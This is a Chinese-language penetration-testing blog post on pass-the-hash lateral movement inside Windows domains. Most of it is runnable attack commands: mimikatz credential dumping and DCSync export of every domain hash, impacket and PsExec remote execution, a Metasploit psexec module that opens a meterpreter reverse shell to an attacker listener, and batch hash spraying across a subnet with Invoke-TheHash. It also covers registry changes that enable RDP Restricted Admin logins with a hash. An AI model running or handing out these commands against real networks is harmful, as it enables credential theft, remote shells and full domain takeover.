内网渗透之Hash传递攻击

内网渗透之Hash传递攻击

Posted by 木已成舟 on January 29, 2021

0x00 PTH原理

PTH即pass-the-hash,原理是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不需要提供明文密码。在Windows系统中,通常会使用NTLM身份认证,NTLM是口令加密后的hash值。PTH是基于smb服务(445端口)。

利用场景:内网环境中存在大量密码一样的主机,当我们获得了一台的hash后,可以通过该hash进行横向渗透。

0x01 工具

通过mimikatz进行PTH

要抓取hash,需要先提权到本地管理权限,不然会报以下错误。

20210129103322

mimikatz(使用管理员权限打开)抓取明文密码和hash命令:

#交互式
privilege::debug
sekurlsa::logonpasswords
#非交互式
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > pssword.txt

下图是抓取到的域管理员的明文密码和hash。

20210129103511

使用mimikatz进行PTH攻击命令:

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:SHQAX /ntlm:161cff084477fe596a5db81874498a24"

下图是命令执行成功的效果图。

20210129103821

同时它会打开一个新的CMD窗口,该窗口有访问域控的权限。

20210129103944

导出域内hash

当你通过Mimikatz进行PTH后,在Mimikatz创建的新窗口中执行以下命令可以导出域内所有hash。

mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:shqax.com /all /csv"

使用psexec执行命令

当你通过Mimikatz进行PTH后,在Mimikatz创建的新窗口中执行以下命令可以执行远程命令。

PsExec.exe \\10.10.1.128 -s cmd.exe

20210129104332

使用impacket进行PTH

impacket工具集下载:https://github.com/maaaaz/impacket-examples-windows

使用impacket工具集中的wmiexec执行系统命令:

wmiexec.exe -hashes :161cff084477fe596a5db81874498a24 shqax/administrator@10.10.1.128 "ipconfig"

20210129104557

使用impacket工具集中smbexec进行反弹shell:

smbexec.exe -hashes :161cff084477fe596a5db81874498a24 shqax/administrator@10.10.1.128

20210129104637

使用CS进行PTH

使用CS里的mimikatz先dump下密码和hash。

20210129104758

在凭证中可以看到。

20210129104826

对内网进行探测后,选择一台主机,进行PTH,此时需要选择一个smb协议的Listener。

20210129104905

回连成功。

20210129104939

使用MSF进行PTH

选择Msf的auxiliary/admin/smb/psexec_command模块:

use auxiliary/admin/smb/psexec_command
set rhosts 10.10.1.128
set smbdomain shqax
set smbuser administrator
set smbpass <LM:NTLM>
set command ipconfig
run

一开始set sbmpass只设置了NTLM hash,导致下图的登陆失败。

20210129105337

20210129105440

msf反弹shell模块:

use exploit/windows/smb/psexec_psh
set rhost 10.10.1.128
set smbdomain shqax
set smbuser administrator
set smbpass <LM:NTLM>
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.1.131
set lport 4444
exploit -j -z

20210129105547

通过powershell进行批量PTH

powershell脚本:https://github.com/Kevin-Robertson/Invoke-TheHash

#本地加载powershell脚本:
powershell -exec bypass
Import-Module .\Invoke-WMIExec.ps1
Import-Module .\Invoke-TheHash.ps1

#利用已有管理员hash,批量指定网段机器(域环境下)
Invoke-TheHash -Type WMIExec -Target 10.10.1.0/24 -Domain shqax -Username administrator -Hash 161cff084477fe596a5db81874498a24

#利用已有管理员hash,批量指定网段机器(工作组环境下)
Invoke-TheHash -Type WMIExec -Target 10.10.1.0/24 -Username administrator -Hash 161cff084477fe596a5db81874498a24

20210129105647

0x02 Remote Desktop

Restricted Admin mode,直译为受限管理模式,它使用当前Windows登录凭据,不需要输入口令,直接登录。当然需要两端都支持Restricted Admin mode,即Server需要开启Restricted Admin mode,Client也需要支持Restricted Admin mode。

Restricted Admin mode适用于:

  • Windows 8.1和Windows Server 2012 R2默认支持该功能
  • Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁2871997、2973351

查看远程桌面是否打开(0表示开启,1表示关闭):

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

注册表开启3389端口:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

查看3389端口号:

REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber


开启Restricted Admin mode的方法

  1. 方法1: 安装补丁3126593
  2. 修改注册表(测试没成功)
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

测试的时候,发现只能用交互模式。

privilege::debug
sekurlsa::pth /user:administrator /domain:SHQAX /ntlm:161cff084477fe596a5db81874498a24 "/run:mstsc.exe /restrictedadmin"

查看是否支持Restricted Admin mode的命令。

mstsc.exe /restrictedadmin

下图是本地不支持Restricted Admin mode的提示:

20210129110432

下图是远程桌面不支持Restricted Admin mode的提示:

20210129110459

0x03 参考链接

https://blog.csdn.net/lhh134/article/details/104475026